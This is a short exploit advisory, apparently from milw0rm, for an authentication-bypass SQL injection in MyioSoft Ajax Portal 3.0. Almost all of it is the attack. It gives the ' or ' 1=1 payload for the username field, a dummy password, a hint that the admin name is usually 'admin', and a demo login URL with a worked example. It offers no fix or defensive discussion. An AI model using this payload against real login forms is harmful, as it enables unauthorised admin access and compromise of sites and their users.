MyioSoft Ajax Portal 3.0 (Auth Bypass) SQL Injection Vulnerability

MyioSoft Ajax Portal 3.0 (Auth Bypass) SQL Injection Vulnerability

link: http://www.milw0rm.com/exploits/7044

Discovered By: ZoRLu

Exploit:

username: [real_admin_name] ' or ' 1=1 ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/AjaxPortal/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu